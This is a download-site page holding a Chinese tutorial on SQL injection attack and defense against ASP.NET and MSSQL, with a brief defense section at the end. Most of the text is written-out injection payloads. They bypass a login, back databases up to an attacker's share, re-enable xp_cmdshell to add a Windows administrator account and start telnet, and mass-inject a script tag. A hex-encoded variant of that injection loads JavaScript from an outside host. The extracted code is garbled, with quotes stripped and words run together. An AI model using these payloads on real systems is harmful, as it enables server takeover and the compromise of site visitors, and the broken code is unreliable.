ImageVerifierCode 换一换
格式:DOCX , 页数:27 ,大小:907.24KB ,
资源ID:18375753      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bingdoc.com/d-18375753.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(SQL注入攻防入门详解.docx)为本站会员(b****0)主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(发送邮件至service@bingdoc.com或直接QQ联系客服),我们立即给予删除!

SQL注入攻防入门详解.docx

1、SQL注入攻防入门详解毕业开始从事winfrm到今年转到web,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)下面的程序方案是采用ASP.NET + MSSQL,其他技术在设置上会有少许不同。示例程序下载:SQL注入攻防入门详解_示例什么是SQL注入(SQL Injection)所谓SQ

2、L注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。尝尝SQL注入1.一个简单的登录页面关键代码:(详细见下载的示例代码)123456privateboolNoProtectLogin(stringuserName, stringpassword)intcount = (int)SqlHelper.Instance.ExecuteScalar(string.Format(SELECT COUNT(*)

3、 FROM Login WHERE UserName=0 AND Password=1, userName, password);returncount 0 ? true: false;方法中userName和password是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin123456)1)输入正常数据,效果如图:合并的SQL为:SELECT COUNT(*) FROM Login WHERE UserName=admin AND Password=1234562)输入注入数据:如图,即用户名为:用户名:admin,密码可随便输入合并的SQL为:SE

4、LECT COUNT(*) FROM Login WHERE UserName=admin- Password=123因为UserName值中输入了“-”注释符,后面语句被省略而登录成功。(常常的手法:前面加上; (分号,用于结束前一条语句),后边加上- (用于注释后边的语句))2.上面是最简单的一种SQL注入,常见的注入语句还有:1)猜测数据库名,备份数据库a)猜测数据库名:and db_name() 0或系统表master.dbo.sysdatabasesb)备份数据库:;backup database数据库名to disk = c:*.db;-或:declare a sysname;se

5、t a=db_name();backup database a to disk=你的IP你的共享目录bak.dat ,name=test;-2)猜解字段名称a)猜解法:and (select count(字段名) from表名)0若“字段名”存在,则返回正常b)读取法:and (select top 1 col_name(object_id(表名),1) from sysobjects)0把col_name(object_id(表名),1)中的1依次换成2,3,4,5,6就可得到所有的字段名称。3)遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)先创建一个临时表:;creat

6、e table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);-a)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中;insert temp exec master.dbo.xp_availablemedia;-b)利用xp_subdirs获得子目录列表,并存入temp表中;insert into temp(id) exec master.dbo.xp_subdirs c:;-c)利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp

7、表中;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-(实验成功)d)利用bcp命令将表内容导成文件即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动 xp_cmdshell)Exec master.xp_cmdshell NBCP select * from SchoolMarket.dbo.GoodsStoreData; queryout c:/inetpub/wwwroot/runcommand.asp -w -Slocalhost -Usa -P123(注

8、意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)在sql查询器中通过语句:Exec master.xp_cmdshell NBCP即可查看BCP相关参数,如图:4)查询当前用户的数据库权限MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。可通过1=(select IS_SRVROLEMEMBER(sysadmin)得到当前用户是否具有该权限。5)设置新的数据库帐户(得到MSSQL管理员账户)d)在数据库内

9、添加一个hax用户,默认密码是空;exec sp_addloginhax;-e)给hax设置密码(null是旧密码,password是新密码,user是用户名);exec master.dbo.sp_password null,password,username;-f)将hax添加到sysadmin组;exec master.dbo.sp_addsrvrolemember hax ,sysadmin;-6)xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命

10、令行(必须是sysadmin权限),即使用cmd.exe工具,可以做什么自己多了解下。下面我们使用xp_cmdshell来创建一个Windows用户,并开启远程登录服务:a)判断xp_cmdshell扩展存储过程是否存在SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =xp_cmdshellb)恢复xp_cmdshell扩展存储过程Exec master.dbo.sp_addextendedproc xp_cmdshell,e:inetputwebxplog70.dll;开启后使用xp_cmdshell还会

11、报下面错误:SQL Server阻止了对组件xp_cmdshell的过程sys.xp_cmdshell的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用xp_cmdshell。有关启用xp_cmdshell的详细信息,请参阅SQL Server联机丛书中的外围应用配置器。通过执行下面语句进行设置:-允许配置高级选项EXEC sp_configure show advanced options, 1GO-重新配置RECONFIGUREGO-启用xp_cmdshellEXEC sp_configure xp_cmdshell, 0GO-重新

12、配置RECONFIGUREGOc)禁用xp_cmdshell扩展存储过程Exec master.dbo.sp_dropextendedproc xp_cmdshell;d)添加windows用户:Exec xp_cmdshell net user awen /add;e)设置好密码:Exec xp_cmdshell net user awen password;f)提升到管理员:Exec xp_cmdshell net localgroup administrators awen /add;g)开启telnet服务:Exec xp_cmdshell net start tlntsvr7)没有x

13、p_cmdshell扩展程序,也可创建Windows帐户的办法.(本人windows7系统,测试下面SQL语句木有效果)declare shell int ;execsp_OAcreate w script .shell,shell output ;execsp_OAmethod shell,run,null,C:WindowsSystem32cmd.exe /c net user awen /add;execsp_OAmethod shell,run,null,C:WindowsSystem32cmd.exe /c net user awen 123;execsp_OAmethod shel

14、l,run,null,C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add;在使用的时候会报如下错:SQL Server阻止了对组件Ole Automation Procedures的过程sys.sp_OACreate、sys.sp_OAMethod的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用Ole Automation Procedures。有关启用Ole Automation Procedures的详细信息,请参阅SQL Server联机丛书中的

15、外围应用配置器。解决办法:sp_configure show advanced options, 1;GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GO好了,这样别人可以登录你的服务器了,你怎么看?8)客户端脚本攻击攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。措施:转义提交的内容,.NET中可通过System.Net.WebUtility.HtmlEncode(string)方法将字符串转换为HTML编码的字符串。攻击2:

16、(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string)转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。参考:注入:SQL注入案例曝光,请大家提高警惕恢复:批量清除数据库中被植入的js示例代码:(可在示例附带的数据库测试)a)向当前数据库的每个表的每个字段插入一段恶意脚本12345678910111213DeclareT Varchar(255),C Varchar(255)DeclareTable_Curs

17、or CursorForSelectA.Name,B.NameFromSysobjectsA,Syscolumns B WhereA.Id=B.Id AndA.Xtype=uAnd(B.Xtype=99 OrB.Xtype=35 OrB.Xtype=231 OrB.Xtype=167) OpenTable_CursorFetchNextFromTable_Cursor IntoT,C While(Fetch_Status=0) BeginExec(update +T+ Set +C+=Rtrim(Convert(Varchar(8000),+C+)+script src=FetchNextFr

18、omTable_Cursor IntoT,CEndCloseTable_CursorDeallocateTable_Cursorb)更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行12dEcLaRes vArChAr(8000) sEts=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f7220536

19、56c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e20546

20、1626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b404

21、32b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(s);-c)

22、批次删除数据库被注入的脚本1234567891011121314151617181920212223242526272829303132333435363738394041424344declaredelStrnvarchar(500)setdelStr=0beginprint 表:+tableName+,列:+columnName+被更新+convert(varchar(10),iRow)+条记录;endfetchnextfromcur1 intocolumnNameendclosecur1deallocatecur1fetchnextfromcur intotableName,tbIDen

23、dprint 数据库共有+convert(varchar(10),iResult)+条记录被更新!closecurdeallocatecursetnocount offd)我如何得到“HEX编码”?开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符0x)在线转换 (TRANSLATOR, BINARY),进入C#版的转换,进入9)对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:1declareA v

24、archar(200);setA=reverse(58803303431=emanresu erehw 9d4d9c1ac9814f08=drowssaP tes xxx tadpu);防止SQL注入1.数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。2.自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。在ASP.NET中,可通过web.con

25、fig配置文件的节点设置:123更详细,请进入mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。On指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。Off指定禁用自定义错误。这允许显示标准的详细错误。RemoteOnly指定仅向远程客户端显示自定义错误并且向本地主机显示ASP.NET错误。这是默认值。看下效果图:设置为一般性错误:设置为:3.把危险的和不必要的存储过程删除xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。xp_cmdshel

26、l能执行dos命令,通过语句sp_dropextendedproc删除,不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)xpsql70.dll(sqlserer 7.0)xp_fileexist用来确定一个文件是否存在xp_getfiledetails可以获得文件详细资料xp_dirtree可以展开你需要了解的目录,获得所有目录深度Xp_getnetname可以获得服务器名称Xp_regaddmultistringXp_regdeletekeyXp_regdeletevalueXp_regenumvalues

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2